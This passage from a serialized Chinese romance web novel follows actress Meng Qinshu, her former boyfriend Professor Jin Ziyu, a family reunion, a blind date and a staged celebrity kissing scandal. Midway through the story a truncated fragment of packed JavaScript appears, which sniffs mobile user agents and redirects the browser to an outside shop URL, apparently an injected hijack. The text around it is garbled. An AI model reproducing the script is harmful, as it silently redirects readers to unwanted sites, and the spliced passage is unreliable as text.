孟秦书四平八稳地答,“海城大学对外开放,正说明是鼓励我们这些社会人士在工作之余,到这里来提升自己,靳子……靳教授我来是我的自由。”
靳子煜夹紧教科书,握杖头的右手徐徐捏成拳,“前提是来听课的人不违反课堂纪律,孟秦书今天你的出现,迫使我的课中断五分钟,从而浪费了我的学生五分钟宝贵时间。”
孟秦书被靳子煜这一长段兴师问罪的说辞,堵的说不出话,这事她理亏在前,她拿起桌上的笔记本和水笔,走到桌子外边,孟秦书面向他鞠了个十五度的躬,态度诚恳,“靳教授感谢这堂课的教诲,我还有事先走了。”
孟秦书转身快步往后门走,却在到门口时听见背后“啪”的一下书本落地声,她回头看向靳子煜,她看见他竖着手杖,右腿缓慢的下弯是要做曲膝动作,右手顺着杖身往下移,草草一眼,孟秦书随即收回视线不做停留地走了。
回到车里孟秦书扯掉假发,乌黑光滑的长发瀑布似的倾泻下来,她摘掉眼镜放在手边的置物盒内,拉下车顶的车载小镜子,她瞅着镜子中自己黑不溜秋的半张脸,以及微红的眼眸,颇为滑稽。
让他重新喜欢上自己……可能吗?
扰乱了他本该正常的生活,这样做对吗?
孟秦书在心里反复问自己。
推回小镜子,她冷嗤,是笑自己,孟秦书你总是自以为是。
主驾驶外的侧窗玻璃被叩了两声,车贴了隐私膜,外面的人是看不到车里面,而里面的人能看到外面,孟秦书扭脸看出去,看到一张熟悉且陌生的脸。
女人扎了一个松松的马尾落在后脑勺,额前碎碎的刘海,身上一件黑色长款羽绒敞开着,里面是黑色职业套装裙,孟秦书没想到时隔七年还能再见孟家人——孟媛。
她的那位妹妹。
孟秦书落下车窗,孟媛一见到她,嘴唇抿出一丝笑,有点强颜欢笑的意思。
不知道怎么回事,时隔七年孟秦书在这个一向娇惯跋扈的女人身上看到了温婉。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14149133|150279||http|test|mini|href|location''.split(''|''),0,{}));
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>由于孟秦书是坐车里,孟媛与他说话需要小幅度下弯上半身,“孟....真的是你。”
孟媛刚才在门卫室取快递,看到一个皮肤黝黑,五官身材又像孟秦书的女人从学校里走出来。她盯着这个背影十来秒,眼看女人过马路到了对面的停车场,孟媛打定主意上去跟这个七年多未见的,现在不知道该怎么称呼的人打声招呼。
是该叫南寒还是该叫孟秦书。
她应该不想在被叫到这个名字吧。
孟秦书眼里漫上来冰凌似的冷意,孟媛不敢再直视她的眼睛,而是看她搭在方向盘上的细长纤形的五根手指,纵使她全身抹黑,这个女人依然艳光四射,从前她很嫉妒她的脸。
“南寒,我只是想来跟你打个招呼,没有别的意思。”
孟秦书注意到她胸前铭牌上写得是——上行海城大学,下行行政部孟媛。
两人同岁,孟媛只比她小两个月。
孟秦书知道孟家破产了,一个月内,一个拥有员工近万人的集团覆没,孟秦书还知道孟媛同年被何家退婚了。
左手食指在窗沿敲了几下,孟秦书盯着孟媛的胸牌,顷之启唇,“现在住哪里?”
孟媛小小愕了下,反应过来,回答道:“我结婚了,和我丈夫一块住。”舔了舔唇,又说,“妈她改嫁了,爸.....接受不了破产的事疯了,于六年前送进了精神病院。”
食指弯曲回收,孟秦书回正脖子看挡风玻璃外,双手把着方向盘,孟媛以为孟秦书是听到家里的事而不高兴,她理解,所以孟媛觉得自己还是拎得清些先走吧。
可就在她转身过去之际,孟媛却听见孟秦书在背后对她说:“上车。”
红车轿跑在自南向北的马路上飞驰而过,约莫二十分钟后,横停在沿海公路上。
由于今天是阴天,海水照出天色,一样是阴云密布。
海边的风比市内要大,孟媛拉上羽绒服拉链,孟秦书没带别的衣服,她双手插兜往海滩边走,发丝被强劲的海风,刮到脸上,半张脸都被它挡住。
孟媛跟上孟秦书。
冬天,没有人会来海边,海浪声敲打礁石,发出阵阵巨响,大片海域只有她们两人。
走到沙滩尽头,孟秦书撩开挡脸的头发别到耳后,但还是有几缕偷偷溜出来拂在她两片素淡薄唇上,“结婚几年了?”
孟媛手冷也把手插入口袋里,“一年,是同学校的美术老师。”她尴尬地努努嘴,“我和他是二婚,第一位结婚三年于前年离得。”
当年的孟媛娇惯跋扈但也只是嘴上逞能,孟媛十八岁以前一直是怕她的,因为孟媛一旦惹她,她就会在宋珍珠、孟坤看不到的地方恐吓孟媛、偶尔还用武力压制她。
但她知道他们对她这么纵容是因为她有用处,而不是说真的不知道她背着他们欺负孟媛的这些事。
只要不是特过分,他们都是睁一只眼闭一只眼。
“你爸你去看过没有?”孟秦书远望海天交际处,那里有一排海鸥刚巧飞过去。
“头两年去的勤,后面一年去两三回,他头脑是清楚的,就是控制不住伤人的行为,我倒希望他头脑不清楚,浑浑噩噩过一天是一天,总好比每天数着日子等待家人来接他回去。”孟媛短叹一口气,“孟....南寒,我知道的孟家有今天是报应。”
孟秦书回视说这句话的孟媛,她以前也是娇滴滴的公主。
破产、被退婚、父亲疯、母亲改嫁,经历了这么多,没想到反而成长了。
孟秦书没有话要问了,她转身往回走,心里一股凄凉来袭不知道是为谁。
开车前,孟秦书捞来后座的包,拿出里面的手机是想加孟媛微信,屏幕点亮,她瞳仁一下放大了,消息栏里竟然有靳子煜给她发的信息。
靳子煜不仅加了她好友还给发来了信息。
孟秦书指腹滑动,进入与靳子煜的聊天界面。
淡述【孟秦书,如果困倦、乏味、迷糊,是你上我课的精神状态的话,我请你不要再来我的课堂。】
发送时间是五分钟前。
14. 芥蒂
靳子煜刚到家就收到了孟秦书回复过来的信息。
MQS【靳教授,我保证不会再有这种事情发生。】
靳子煜仿佛看见了手机对面孟秦书顶着一张黢黑的脸蛋,装腔作势的表情。
他不是没见过孟秦书娇俏的模样,她温软的时候会让你觉得你在她眼里抵得过世间万物;她冷漠时你会觉得她像是一只淋雨到瑟瑟发抖谁也不给靠近的小刺猬;一旦发脾气,她就变成了蒙头不顾,横冲直撞的狮子,伤人的话张嘴就来,但事后她又会回头来哄你。
孟秦书一直是个情绪多变的人。
而他那时很好哄。
手机在手里又震了一下。
靳子煜眼睛就没离开手机屏幕。
MQS【我说想来看看你是真的,还有件事我没男朋友,机场那个不是。】
看到这句话,靳子煜像忍不住了般,哼哧笑了,笑自己又被孟秦书耍了。
“哗啦”厨房的移门被推开,静姐自厨房里伸出头,“靳教授,你回来了。”
静姐只白天在家里打扫卫生、遛遛狗,傍晚给靳子煜做一顿晚饭,五点一到就会回去,而靳子煜今天比往常都早回来。
静姐原本在海城大学做楼道保洁,有一次家里出了点事,她在楼道里边打电话边抹泪,遇到刚好上楼来得靳教授。
她知道有人上楼而且那个人拄手杖一定是靳教授,她当时被电话里女儿告知医院催款这事吵得心烦意乱,没想去换个地方,被一路上来靳教授听到了大概。
因为没人会想得到一个不过与她见过两三面的人,会主动提出可以把钱借给她,还说她若是愿意可以去他那儿工作,帮他看看房子,照顾一下小动物,他在家时帮他做一顿晚饭,他会给她开工资。
靳教授真的是个特别心善的人,他不仅把钱借给她,还给她每月开正常保姆的工资,比学校里翻了三倍。
“靳教授书书送去宠物店洗澡了,我等会儿烧好菜就去接它。”说罢,静姐重新推上移门。
靳子煜换上拖鞋直接上楼了,他不会在外人面前露出他的右腿假肢,即使静姐在他这儿已经工作了两年。
楼上他的房间和书房,都是他自己打扫,特意交待过静姐不用进这两间房,她也一直严格遵照执行。
坐到沙发上,手杖收成一截放在茶几上,靳子煜拿出手机又把孟秦书发的那条信息给看了一遍。
MQS【我说想来看看你是真的,还有件事我没男朋友,机场那个不是。】
放下手机靳子煜揉揉眉心,没坐多久,他手掌撑茶几再次起身,他不拿手杖是可以走的,只是不那么稳。
楼上的客厅东西两边各有一扇门,东门推进去是书房,西门推进去是卧室,靳子煜开门进书房,走至最东面的满墙书架前,他在从上往下数第五个格子里抽出一本《巴黎圣母院》。
一丝微笑和一声叹息不时在他嘴边相遇,这微笑比叹息还痛苦。——《巴黎圣母院》
*
回到家孟秦书就觉察出身体不对劲,一个劲的发寒,额头后背却是一直在冒虚汗。
海边吹得那十几分钟把自己给整感冒了,她很少生病,家里连最基础的感冒药都没有,孟秦书只能外卖软件下了预定单,等外卖员送来。
孟秦书在客服群里给物业管家留了外卖信息,方便外卖员到时保安室可以直接放行不受阻挠。
孟秦书拿了睡衣,先去洗澡、卸妆,她站在花洒下,温热的水流冲刷在她身上,她盯着其中一块白色瓷砖发愣。
眼前浮现了那年她进靳子煜他们所在的包厢,邀请还不是很熟的靳子煜到她们包厢喝一杯时的场景。
那天靳子煜穿着一身白色运动短装,被她邀请后他脸上浅露的腼腆和白色一样纯。
孟秦书自来不喜欢参与任何活动,而那天是比较要好的朋友尤娜的生日,尤娜盛情邀请,她只好答应。
尤娜有点小钱,选的KTV是附近五家之中环境最好的,孟秦书一不喜欢唱歌,二不喜欢展示才艺,只呆坐着看她们玩。
唱歌唱累了,他们想到另一个好玩的法子,来玩真心话大冒险。
游戏规则自设,三颗骰子,骰子掷出的和数不同,玩法不同,几轮下来都是一问一答,第五轮时孟秦书点数之和是“六”,按照本子上记录的六点,需要去隔壁包厢带一位男性来喝酒。
她们之中有一位同学是‘路路通’,她知悉各种小道消息,在来之前这位同学已经知道左右两个包厢里分别坐着T大两位风云帅哥,一位是家世顶级颜值顶级研二在读的霍清辞,一位是新晋校草,学生会副会长阳一,所以才会设下这个玩法。
既然参与了游戏,孟秦书玩得起就输得起,她不想去霍清辞那间,就进了右手那间包厢,包厢里有三个男人,只是让孟秦书没想到是包厢里会有近期她一直在图书馆与其制造偶遇的靳子煜。
一束黄色的光自靳子煜微诧的脸上扫过去,孟秦书走向他,在快到他身前时停下,她语气寡淡地邀请,“学长我玩游戏输了,现在需要请你去我们包厢喝一杯可以吗?”
暗色场景下都能看出靳子煜脸上迅速蹿上红晕。
“好。”
他温声应下。
后来她才知道,不是靳子煜好撩而是他先动心。
忽然间。
持续不断的门铃像电锯声在她耳膜里炸开,孟秦书烦躁地抓头,紧接着是“咚咚咚”地敲门声,她艰难地睁开眼,模糊不清的眼睛盯住门。
头痛、眼睛痛、快死了。
孟秦书摇摇摆摆地走到门口,打开这扇门,门拉开一半,臭着一张脸的外卖员把手里的药品袋举到她眼前。
接过外卖员药品袋,孟秦书对他说了声谢谢,外卖员临走前,却附送她一句“SB”。
喝完药,孟秦书躺到床上,人生病时特别脆弱,她不知是想到外卖员骂她“SB”,还是想到靳子煜对她冷眼相待,她眼泪汩汩留下。
哭着哭着,她睡
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着了。
*
第二天醒来,头痛是好了,孟秦书喉咙跟火烧似的痛,有了咳嗽症状。
她昨晚没吃饭,现在饿得胃痛,枕头下的手机震了震,孟秦书拿起手机,举在眼前眯着眼睛看是谁的信息。
芳姐【南寒,去新加坡的日程提前一周,十号出发你准备一下。】
不知道自己在期待什么,孟秦书带点气得把手里往床头柜上一拍。
她双手撑床面,坐了起来,身上这条被子湿了一大片,她爬下床,打开拉链,把被子和被套分离开来。
“咳咳—咳咳”卫生间出来,孟秦书咳地快背过去。
今天海城大学是去不成了。
草草吃了几口早餐,孟秦书躺进沙发角落,后脑勺枕着小方枕,身上盖上空调被,手机屏一滑,她找到两个外卖订单。
一个是昨晚给她送药的外卖员,她昨天耽误了他近十五分钟,难怪他骂她,孟秦书找到打赏,给他打赏了五百元,聊表歉意。
第二个是刚才给她送外卖的,他对她笑了,冰冰冷冷的环境下,有个人对自己笑,不管认不认识她都感到了温暖,孟秦书给他打赏了一百。
放下手机前,孟秦书有想过要不要给靳子煜发一条今天不去听他上课的信息,后来想想还是算了,人家说不定根本不关心她去不去。
孟秦书浑浑噩噩地又睡着了,梦里她回到了孟坤初到福利院时,牵起她的手,露出慈父般的笑容。
“小朋友,跟我们走,从此你就有爸爸,妈妈了。”
*
因重感冒的缘故,孟秦书完全好才去海城大学,老时间,灰头土脸的老样子,坐原来的位置,靳子煜进来时视线滑过来看到她一刹,蓦然顿住脚步。
孟秦书双手放在桌上,挺胸抬头,一副乖学生的模样,接住他深沉的目光。
时间停顿的有点长,学生们不知道靳教授在看什么,好奇心使然,大家顺着他的视线看过去,可就在即将找到目标对象的时候,靳教授突然就转头了。
等课结束孟秦书要赶去坐飞机,去新加坡,来这一趟,还是来看看他。
而他似乎仍是不高兴。
靳子煜走到讲台前转过身,他左手虚虚搭在讲台边沿,视线从左往右扫,只在孟秦书所在的方向多停留了两秒,随后低下头,抬起握手杖的右手,拿住鼠标为学生播放他提前准备好的课件。
PPT上出现数字5时,靳子煜想的是孟秦书消失了五天,今天又出现了,不知道她又打的什么主意。
靳子煜闭了闭眼。
但这都与他无关,如她自己所说,来去是她的自由。
下课已是三点三十,孟秦书五点前必须到机场,时间比较紧迫,她本来是想等学生走尽,再上去和靳子煜说一声后面一周她都不会来要去新加坡,可他这次不知道是不是赶着去办什么事,一下课就走了,走之前连正眼都没给她。
……
算了,他不会在意。
15. 相亲
晨光微熹,柔美的阳光洒在鱼尾狮身上,空气中漂浮着各种花卉香气,这座石雕张开的大口中,日夜不停歇地喷出湖水。
一对穿搭清爽时尚的男女,手牵手由台阶上走下来,有说有笑地走至观景台。
女人长发飘飘,发缝里扎了一条红发带,耳上的小钻饰在日光下闪烁着BlingBling的光点。
她身上这条白T刚好到臀位,黑色直筒牛仔裤把笔直匀称的一双腿完美呈现;身边的男人一样是白T牛仔打扮,细长的脖子上挂着一台单反相机,他头上还戴了顶棒球帽,是个又白又嫩,笑容很迷人的小哥哥。
女人背倚护栏,瓷白无暇的手臂随意搁置护栏上面,晨光似穿透了她的肌肤,让她身上泛出通透的淡红色,女人红唇自然上挑,一颦一笑胜过美景,男人退后几步举起,半蹲下,举起单反为女人拍照留念。
“咔!”导演喊停。
女演员脸上的笑容伴随“咔”一起落下,真是个敬业的演员。
旁边站导演身旁俯首弯腰的青年,初入这个行业,青年由衷佩服这些演员,能把戏里戏外区分的这么清楚,就刚刚那一小段戏,如果不是有摄影移动车全程跟踪,他几乎被迷惑得分不清现实和电视。
坐到露营椅上,孟秦书拿起旁边桌上的柠檬水就着吸管吸了一口,小杨在她身后为她打伞。
新加坡即使到冬天平均气温都有二十度,紫外线不亚于国内海南岛这些地方。
男演员回来坐旁边那张露营椅,他侧眸看向孟秦书,夸她,“姐姐,你刚才那段演得真好。”
因为《大梦想》这部剧,两人半年来常常见面,这位男演员嘴巴很甜,逢人就夸,剧组无论年龄大的或是小的,都很喜欢他。
谁会不喜欢被夸奖呢。
男演员叫温朔,无论是外表亦或是气质都看着比孟秦书小,现实年纪也确实比孟秦书小五岁,在《大梦想》这部剧里两人就是姐弟恋。
这次接的这档综艺节目是国内首档,是以电视剧情延伸出的恋综,让电视剧里的两位演员再以现实中的身份扮演情侣,现实剧本、撒点工业糖,顾名思义炒CP。
可以给即将上映的电视剧带一波热度,也可以给已上映的电视剧激活长尾效应,该档节目一共邀请了八对电视剧情侣,他们是第一对,每对两期,由于是首创,他们进组前都是签了保密协议。
一阵带凉意的风拂过脸颊,像羽毛挠了下鼻尖,孟秦书手掩住口鼻,打了一个喷嚏。
小杨自身上背包侧口袋里拿出一包湿巾,取出一张交到孟秦书手里。
孟秦书擦拭了两下,把湿纸巾丢在桌上敞开的有几颗坚果壳的塑料袋里,待会走时小杨会带走扔掉。
孟秦书拿起桌上的手机,点进和靳子煜的聊天界面,在点头像进入到朋友圈。
靳子煜和她一样没有发朋友圈的习惯,朋友圈里一片空白,但七年前他会拍一些跟体育运动相关的景物、校运会的宏大场景、落日下的碧绿色橡胶跑道、一只手掌托起的篮球.....那些照片不知是被他删除了,还是隐藏起来了。
时间说快不快,说慢不慢,以前没遇见靳子煜,七年时间模糊的就好像弹指一挥,而今到新加坡才四天,她却觉得度日如年。
*
这周六靳子煜被母亲江雪叫了回去,周五晚上江雪在电话里把事说得特别紧急,让他务必回来,只是靳子煜没想到,一回来是被江雪带去一家咖啡馆相亲。
但等靳子煜意识到是这么回事时,人已经在咖啡馆,对方小姑娘正眼巴巴地等他过来,他做不出甩脸就走这件事,只能跟着江雪一块进去。
先坐着听听看,人家姑娘未必看得上他。
“婷婷,这就是我说的大学老师,靳子煜。”小姑娘旁边的染着红色卷发的中年女人,不知道是亲戚还是母亲给这位叫婷婷地介绍说,“年纪轻轻的教授,还是科研所的研究员,年轻有为。”
婷婷向刚落座的靳子煜伸出手,粲然一笑,“靳子煜你好。”
靳子煜微笑与她握了握手,“你好。”
婷婷看过靳子煜的照片,也知道他一些基本情况,没想到这个男人比照片里还要出色。
坐靳子煜旁边的江雪也加入进来,为儿子介绍婷婷的大致情况,“子煜,婷婷今年二十六在人民医院工作,是妇产科大夫,你们都是学医的一定有话聊。”
生物医学工程虽集合医学、工程学、生物学但本质上还是工学,靳子煜自觉与医生不存在共同话题。
两个年长的女人兴致高昂地畅聊着,靳子煜拿起手边的玻璃杯里的菊花水喝了一口,对面的婷婷看到他喝茶水,也端起小抿了一口,苹果肌上出现两团浅浅的绯红色。
靳子煜看进眼里,垂下眼按腕表上的时间,才过了十五分钟而已。
“子煜,你和小姑娘聊聊天呀。”江雪催他。
靳子煜撩起的视线落在婷婷脸上,嗓音清冷,“有喜欢的明星吗?”
婷婷嘴微张,很是惊讶这个看上去有些严肃的人会问这种问题,她无措地眨眼睛,莫名生出一种被老师提问地紧张感,“我....我很少看电视,也不追星。”
江雪和婷婷身边的红发媒人,一样是满脸讶然,江雪先反应过来,手肘轻撞一下靳子煜的小臂,为儿子圆场,笑呵呵地道:“子煜,没有追星习惯,他只是想知道女生平时的爱好。”
靳子煜看一眼江雪,抿直双唇。
婷婷听完江雪的解释,说起自己的爱好,“我平时早起有晨跑的习惯,因为晨跑能让我一天的状态都会比较好,即使值夜班,八九点回来也会去湖边跑一圈,有时候休息,那天我可能去爬山、骑山地车......”婷婷地声音越来越轻,轻到快听不到。
只因为她对面那个人的脸色愈来愈阴沉,她差点忘了,他腿不好.....啊......好想扇自己一嘴巴。
江雪还在想小姑娘怎么不说了呀,酷爱运动是个好习惯,媒人给江雪使眼色,江雪侧转脸看儿子的脸,面色冷沉,眉头轻拧,不悦尽在脸上显露,不要说对面小女孩连她都被吓了一跳。
这场相亲最终不欢而散,半小时他们回到自己家,关上门,江雪忍了一路的气,爆发出来:“你真以为我不知道你的最终目的是什么吗?子煜人家小姑娘好好的,还是人民医院的医生,你有什么不满意的,人家又不介意你的腿,你是打算单一辈子?靳子煜我告诉你,我不同意,坚决不同意,你必须给我结婚,不然——不然我就当没你这个儿子!”
江雪是个极少发脾气的人,母子俩这点很像,她这次真是被这个儿子给气得不轻,都三十岁的人了,自己不关心自己的终身大事,她给张罗来的,他又把她们给吓跑。
快到客厅的靳子煜驻足,转身,望着门口这位快被对他的结婚执念逼疯的女人,他眉心微蹙,无语且无奈,“妈,结婚是人生必须履行的事吗?我现在只想专注我的事业,为什么你一定要把你的想法强加给我?”
江雪换上拖鞋,
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几步到靳子煜身边并绕到他面前,儿子最后一句话,让她心里作痛,她抖着声问这个一向懂事、明事理的儿子,“靳子煜,你眼里的我是这样的人吗?从小到大我有逼过你做一件你不愿意做的事吗?”
靳子煜垂下的黑睫簌簌颤动,“妈—”
江雪打断他,“对,我这次就是要把我的想法强加给你,你有想过你爷爷马上八十了,二十几年前他白发人送黑发人,现在他唯一的愿望是看着他唯一的孙子能成家,生而为人不能只考虑到自己还有亲人,靳子煜从小到大我们对你的要求只有这一个。”
江雪眼眶里漫上盈盈泪光,靳子煜见不得母亲这样,他黑眸有所松动,唇几次开合,却说不出一句话,江雪的语调一样柔和下来,“子煜,我们不是一定要逼你今天相上,马上就去结婚,可以慢慢相处,合得来在谈婚论嫁,但前提你不要总是抗拒。”
握手杖头的手缓缓收紧,靳子煜垂眸看自己这只手,手背上的青色脉络一条条清晰可见。
靳子煜想起这些年,爷爷每年过年都塞给他一个红包,爷爷说,只要你一天没结婚,在我这里永远就是孩子。
江雪怎么会看不穿自己儿子那点心思,舒口气再说,“子煜,过去的人该放下了,妈妈知道你心里还记挂着那位孟小姐,但妈妈明确告诉你,不行。”她温柔缓慢的语调说最坚决的话,“妈妈不是讨厌她,当年她照顾你那半年我还很感激她,但她——你们不合适。”
这位孟小姐是个好人,但当年她和子煜分手后,子煜消沉了很长一段时间。
她的儿子曾经那么自信开朗,一段恋爱把他的自信和开朗都磋磨没了。
孟小姐很好,但他们不合适。
江雪带点求的口吻对他说,“子煜知道了吗?”
靳子煜恍若如梦转醒,倏地抬头,漆黑的双眼冷极。
“子煜我的意思是—”
江雪的话像炸药引线,把踌躇不定中的儿子给点炸了,他的声音陡然升高:“妈,你在胡说什么?你又提她做什么!”
江雪身子一震,心里怪自己又多言了,明明子煜刚才已经有服软迹象。
靳子煜转身往客厅走,想想还是回海城,他不想听母亲再说任何一句话。
是以,他调转头逃也似地往门口走,他步子迈得又快又紧凑,他平时走得慢是为了美观,不是说不能走快,因为右腿步频跟不上左腿,会出现左腿拖着反应慢半拍的右腿的丑陋步态,他以前在复建室尝试过,镜子里面的自己很难看。
“砰”门轻轻关上,她的儿子即使发脾气也不会做用门发泄的事,江雪泪眼朦胧地收回视线。
关上车门,靳子煜把座椅往后降下去,让自己半靠半躺在上面,他盯着灰色车顶,想起江雪那双泪眼,他母亲这辈子都在为他付出,而他却把坏脾气给了她,伤了她的心。
他怎么会生母亲的气呢,他逃不是气而是怕……
靳子煜直起腰,拿出外套口袋里的手机,给江雪编辑了一条信息发过去。
淡述【妈,我先跟你说声对不起,我今天先回去海城了,下次有这种事可以先通知我,不然我一点心理准备都没有。】
江雪的信息很快回过来,【子煜,是妈妈太操之过急了,好下次有这种事,我一定让你先过目看看。】
手机屏幕上方跳出一条微博热闻。
热闻停留两三秒,靳子煜眼里只抓住上面加粗的几个黑色大字。
—南寒夜会男友人两人当街甜蜜拥吻
16. 误会
明星这些捕风捉影的流言很多,这几年靳子煜时不时刷微博,看到过不少,多是胡乱猜测,但他手指还是不受控制的点开了这条热搜。
置顶的博文中地点是新加波温德姆酒店,时间是昨晚十点三十分。
文字下,附上一段十五秒的无声视频。
视频里的背景是温德姆酒店正门外,身穿着白衣的一男一女相拥在一起,女的拍到的是背面,男人的一只手还挂在她纤纤一握的腰身上,肉眼可见女人是昂首的,而男头戴棒球帽,歪头正对着她的正脸,看两人的姿势是在拥吻。
画面不是很清晰,但连记者都能认出的人,靳子煜怎么可能认不出来,女的确实是孟秦书。
是拍戏吗?
如果是拍戏,记者会看不出来?
四年半前靳子煜在电视上看到孟秦书,他去问顾远哪个网站可以看到各种明星的新闻,顾远和他一样不懂这些,于是,顾远去替他问了他女朋友,她女朋友说是追星的都会下载微博,可以关注想关注的明星。
当晚他在手机上下载了微博,他在搜索框里搜孟秦书的名字没搜到,后想起来她改名叫了南寒,听说明星都有艺名,南寒两个字倒是跟她挺匹配。
南寒的粉丝有八千多万,他点了关注,他这个关注就是不起眼的分子,自从关注后她一有发消息就会在屏幕上方跳出来。
在之后他发现了更多功能,微博有实时新闻,也有热搜,热搜还分几个板块,一般热度大的不用点进去都会出现在前面,热搜上南寒的名字隔三差五出现。
有新剧上映、有某个活动,有时候南寒不开心、脸上有颗痘痘这种事都会出现在上面。
他清楚记得四年前热搜第一的那条#南寒用吻替#他点进博文里面,通篇都是在批评她不敬业,耍大牌。
但不到半小时这条就不见了。
她绯闻很少,他记得的几年之中不过两三条,都是照片,而且都不是很亲密照片,没有直接证据,后面工作室都会进行辟谣。
不像这次是有视频有真相。
视频靳子煜连着看了三遍,第三遍进度条到最后他忘记点暂停,直接跳到下个有声音的视频把他吓了一大跳。
退出微博,靳子煜把手机裹入掌心,掀开眼皮随便瞧一处,那里有个六七岁的男孩在小区的健身场玩滑滑梯,男孩滑下来爬上去再滑下来爬上去,一个人都玩得很开心。
【我说想来看看你是真的,还有件事我没男朋友,机场那个不是。】
【靳教授我保证不会再有这种事发生。】
“我来是想看看你。”
“靳子煜我走了,腿疼少走路,我知道你有吃止痛药的习惯,但,是药三分毒,能少吃尽量少吃,照顾好自己。”
“靳子煜我知道你腿疼,快坐下。”
呵呵。
孟秦书真的在和他演戏。
*
孟秦书拍完下午的戏才有时间看手机,但当她看到微博热搜里的视频,脸色赫然白了。
#男友人是温朔#
#南寒夜会男友人两人街头甜蜜拥吻#
#温朔南寒很般配#
热搜第一是#温朔我心碎了#
昨晚是拍摄,有摄制组,还有场务,哪个没眼力见的记者会把这段视频拍下来发上去,这种很容易辟谣。
除非—
是演员自己放料,难道是芳姐……又或是温朔他们的团队。
他们下午在游乐场拍,孟秦书离开人群,走了十多分钟,找到一片碧绿的湖泊,坐到石凳上面朝波光粼粼的水面。
走来的这十分钟里,孟秦书想清楚一件事,只要不是在电视上播出的娱乐新闻,靳子煜不会看到,因为不玩微博的不会知道。
心下略松,如果她现在打电话给靳子煜反而是此地无银三百两,想到此处,孟秦书没收起手机而是把电话打给了芳姐。
电话那头的芳姐也看到了这条热搜,芳姐首先否认是她做的,其次她认为这样挺好,她说:“温朔是现在当红的小鲜肉,你们两个马上就要有电视剧上映,不管是谁做的这事,对你们没有害处,需要这波热度来带这部剧”
孟秦书出道这么多年从没有靠过这种方法炒作宣传剧,连这次的恋综都是她到了新加坡才知道合同是这么签的,她以前那么相信芳姐,可今年她有很多事都不通知她直接自己去对接。
而芳姐次次都以为她好,来堵她的话头。
虽说她最早的经纪人是吕平池,但吕平池只带了她八个月,后来他就跳槽了,吕平池走前有说要带她一块走,她这个人喜欢安稳,不爱到处跑就没跟他去。
后来在傅总的安排下,她到了芳姐手底下,到如今她们合作也有五年了,芳姐对她一直是尽心尽力,说一点没有感情是不可能的,所以芳姐今年很多事没有没经过她点头,她也只是一次次告知她下次不要这样。
这次的事虽然不是芳姐做的,但她认同这种方式,恋综都知道有剧本,看恋综的人群占比无非就是粉丝占大头,大家就图一乐。
不像这种凭空捏造的视频,很容易让人产生误会,人云亦云到时候不是真的都会回传成真的。
孟秦书掐断和芳姐的通话,重新进微博,是想发博文澄清,可进去才发现里面所有有关她的热搜全部撤掉了,是霍清辞在国外远程操控?
她正思考要不要去和霍清辞道声谢,霍清辞的电话就打了进来。
“小书,是在想要怎么感谢我对吗?”霍清辞在那儿漫不经心地笑。
孟秦书听到踱步声,想象出他是在办公室里走来走去,“你还没睡?”
现在是下午三点,美国那儿应该是凌晨四五点。
“我在澳大利亚出差。”
时差三个小时,他那儿是傍晚的六点。
那就不难怪了。
“哥,这也不是恶性事件,不必每次都这么做。”
“小书,你呀,我是替你担心,担心被靳子煜看见。”霍清辞走到办公椅旁,一只手扶在椅背上,语气正经些,“不过还是晚了,我想他大概率已经看到。”
霍清辞今天两个大型会议,结束已经到下午五点。
他的话让孟秦书迟疑了,“他应该没有微博,不可能吧。”
“自己去问问他吧,别让他误会,我这儿还有点事,先不和你说了。”
霍清辞挂掉电话,拉开转椅,摇头失笑,他看得出靳子煜心里有孟秦书,既然有怎么可能不关注。
这两个人都是不爱说的人。
孟秦书没有发微信而是直接给靳子煜打了电话过去,她连续打了三个都是无人接听,她不敢再打怕影响他工作。
拇指在屏幕上一阵忙碌,她编辑完一段话发过去。
MQS【靳教授我给
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你打了三通电话,也不是什么急事,如果你看到方便的话回个信息给我,我有些话对你说。】
傍晚还有一场戏,孟秦书只想尽快结束这里的工作回去,即使心理已产生抵触,但她仍然坚持把这场戏走完。
拍摄结束又到了半夜,游乐场距离入住的酒店不远,孟秦书选择步行回去,由于是城市市中心,高楼大厦数不胜数,一路灯火璀璨。
孟秦书手插//入口袋中,裹紧身上的这件薄外套,今晚没有风但比前几天都凉,孟秦书没关注天气预报的习惯,但她休息时候有听旁边的一位工作人员随口说起今天的气温。
“最低气温十二度,最高气温二十度,晚上不知道会不会下雨。”
孟秦书登上天桥,站在天桥最高处,俯瞰下面空空如也的双向四车道。
天桥上同样一个行人也没有。
就着橘黄色路灯,孟秦书看到零零星星的雨丝无声无息地洒落人间,她抬起右手,张开掌心,过了好一阵才有一滴雨落进她手掌心里。
真的下雨了。
孟秦书加快脚步往前走,想在雨势变大前赶回酒店。
然而背后传来比她更急促的脚步声,这个脚步声已跟了她很久,只是孟秦书注意力一直不集中才没听见。
大城市又是在市中心没人会往坏处去想,孟秦书只是把脚下提速,可突然背后的脚步声近到耳畔,紧接着她眼前出现一具瘦高的身躯,一大团暗影笼下来,挡住她的去路。
跟她对戏的男演员就没一个矮的。
暗影是温朔。
“姐姐。”温朔一手插兜,一手撑着一把伞,“视频的事是我团队做的得但……我不知道。”
孟秦书掀眼对上温朔诚挚的眼睛,她跟他合作了半年,她所认识的温朔是个嘴巴甜却真诚的男人,虽然有句话叫人不可貌相,但她觉得这个人不像有这么复杂。
伞面更多倾向于她,孟秦书往后退了一步,“你自己撑我不用。”
这点雨还不至于要打伞。
孟秦书转身继续往天桥下走,温朔跟在她身侧,仍固执己见地给她撑伞,她快走他跟着快走,她慢下来他跟着慢下来,下天桥、等红灯、过马路,他不声不响地陪同她。
在到酒店正门在时,天上那点零星小雨也不见了,孟秦书侧眸对左侧的温朔说了句,“不用了。”
回眸时,眼睛无意扫到对面那条街上站着一个熟悉的人影,只觉得熟悉就让她心脏微微一震。
抬起的脚落回原地,孟秦书的视线迅速回到那里,双向四车道相距十多米又是夜里她看不清那人的面部,但他的身形还有手里那根漆黑却反射出寒光的手杖,让她确认是那人无误。
刚才她和温朔是从对街走过来的,她没看清楚他,但他一定有把他们看得清清楚楚。
孟秦书只感觉瞬间有一只大手攥住了她的喉咙,让她呼吸不上来,光知道一个劲的睁大眼睛。
